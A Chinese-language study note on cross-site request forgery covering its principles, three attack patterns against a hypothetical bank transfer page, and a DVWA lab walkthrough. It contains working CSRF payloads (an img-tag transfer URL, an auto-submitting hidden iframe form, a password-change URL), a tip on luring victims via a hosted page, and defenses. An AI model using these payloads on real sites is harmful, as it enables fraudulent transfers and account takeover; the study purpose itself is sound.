朴素的CSRF漏洞学习笔记
- 基本概念
- 什么是CSRF(xsrf)
- CSRF的危害:
- CSRF攻击原理和过程:
- 1. 攻击原理:
- 2. 攻击过程:
- CSRF漏洞的利用条件
- CSRF漏洞现状
- 常见攻击方法:
- 1. 针对get请求的攻击
- 2. 针对post请求的攻击
- 3. 针对$_POST请求方式的攻击
- 漏洞利用
- 防御方法
基本概念
什么是CSRF(xsrf)
CSRF,跨站请求伪造,是一种对网站的恶意利用。尽管听起来像跨站脚本,但它与XSS非常不同。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
CSRF的危害:
以受害者名义发送邮件,发消息,盗取账号,甚至于购买商品,转账等
造成的问题包括:个人隐私泄露以及财产安全。
CSRF攻击原理和过程:
1. 攻击原理:
攻击者利用目标用户的身份,以目标用户的名义进行某些非法操作。
CSRF攻击源于WEB的隐式身份验证机制,web的身份验证机制虽然可以保证一个请求是来自某个用户的浏览器,但是无法保证该请求是否是用户批准发送的。
2. 攻击过程:
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B; - 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
CSRF漏洞的利用条件
• 目标网站纯在CSRF漏洞
• 目标用户已经登录了目标网站,且能够执行网站的功能,在本地生成了cookie。
• 目标用户访问了攻击者构造的URL。
CSRF漏洞现状
主流的大型网站已经进行了相应的修复,各种中小型网站和后台管理员界面还是普遍纯在这一漏洞。
常见攻击方法:
1. 针对get请求的攻击
如果某银行网站以get请求来完成转账操作如:http://www.mybank.com/Transfer.php?toBankId=attacker&money=1000
攻击者构造网站B,里面写有一段HTML代码:
http://www.mybank.com/Transfer.php?toBankId=attacker&money=1000
如果受害者登录了网站A,然后用相同浏览器访问了网站B,这时你的银行账户就会少1000块。
原因在于:
网站A使用GET请求更新资源。在访问网站B之前,用户已经登录了银行网站A,而网站B中的< img >以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfer.php?toBankId=attacker&money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立即执行了转账操作。
2. 针对post请求的攻击
为杜绝基于get请求的攻击,银行决定用post请求完成转账操作。
银行网站A的WEB表单如下:
<form action="Transfer.php" method="POST">
<p>ToBankId: <input type="text" name="toBankId" /></p>
<p>Money: <input type="text" name="money" /></p>
<p><input type="submit" value="Transfer" /></p>
</form>
后台处理页面Transfer.php如下:
<?php
session_start();
if (isset($_REQUEST['toBankId'] &&isset($_REQUEST['money']))
{
buy_stocks($_REQUEST['toBankId'],$_REQUEST['money']);
}
?>
网站B,仍然只是包含那句HTML代码:
<img src=http://www.mybank.com/Transfer.php?toBankId=attacker&money=1000>
首先登录银行网站A,然后用相同浏览器访问网站B,结果再次丢失1000块,这次事故的原因是:银行后台使用了S_REQUEST去获取请求的数据,而S_REQUEST既可以获取GET请求的数据,也可以获取POST请求的数据,这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中,可以使用S_GET和S_POST分别获取GET请求和POST请求的数据。在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。(dollar符号使用了S代替)
3. 针对$_POST请求方式的攻击
经过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下:
<?php
session_start();
if (isset($_POST['toBankId'] &&isset($_POST['money']))
{
buy_stocks($_POST['toBankId'],$_POST['money']);
}
?>
然而,网站B与时俱进,它改了一下代码:
<html>
<head>
<script type="text/javascript">
function steal()
{
iframe = document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer"action="http://www.myBank.com/Transfer.php">
<input type="hidden" name="toBankId" value="attacker">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html>
如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块,因为这里危险网站B暗地里发送了POST请求到银行。
总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,因为触发条件很简单,一个< img >就可以了,而第3种比较麻烦,需要使用JavaScript,所以使用的机会会比前面的少很多,但无论是哪种情况,只要触发了CSRF攻击,后果都有可能很严重。
理解上面的3种攻击模式,其实可以看出,CSRF攻击是源于WEB的隐式身份验证机制,WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的.
修改自:https://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html.
漏洞利用
以DVWA为例,使用BP自动构造CSRF PoC功能实现CSRF漏洞的利用:
修改密码后,会提示密码修改成功,并返回Password changed。
那么我们刷新网站后重新填入数据,打开代理,使用BP抓取数据包。
将BP抓取到的数据包转至Repeater,然后在Repeater界面 “右键—>Engagement tools—>Generate CSRF POC”,即可生成POC
再在弹出的CSRF Poc generater页面,点击"Test in browser—>Copy",复制生成的URL
只要诱骗用户打开这个生成的URL,就可以在用户不知情的情况下将其密码修改为123456。
http://x.x.x.x/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
模拟受害者:
打开刚访问目标网站A的浏览器(注意不能关闭原来登录网站A的TAB页面,此时也不能关闭代理),新建一个TAB页面,粘贴刚才在BP中复制的URL,访问得到如下页面
点击"Submit request"后,数据会提交到原来的网站A。如果可信任服务器正常响应这个请求,说明漏洞利用成功。
不过,这样的链接就差把“我要盗你号”写在脸上了。为了提高中奖率,我们可以搭一个简单的网站,设置默认打开,这样网站打开后就会默认访问index文件,把index里头的文件换成BP生成的代码,然后给受害者此网站的IP让其访问。如果用户访问了这个链接,那他此页的DVWA密码就被改了。
防御方法
针对CSRF的修复:
服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面添加伪随机数。
• 验证请求的Referer值,如果Referer是以自己网站开头的域名,则说明该请求来自网站自己,是合法的。如果Referer是来自其它网站或空白,就有可能来自CSRF攻击,那么应该使服务器拒绝该请求,但是也存在被绕过的可能。
• CSRF能成功的关键在于攻击者伪造了用户请求。所以,抵御CSRF攻击的关键在于:在请求中放入攻击者无法伪造的信息。比如在HTTP请求中以参数的形式加入一个随机变量token,并在服务器验证token,如果请求中没有token或者token的内容不正确,则认为该请求可能来自CSRF攻击并拒绝该请求。
• 在每次用户提交的时候都让用户填写一张图片上的随机数,也就是验证码。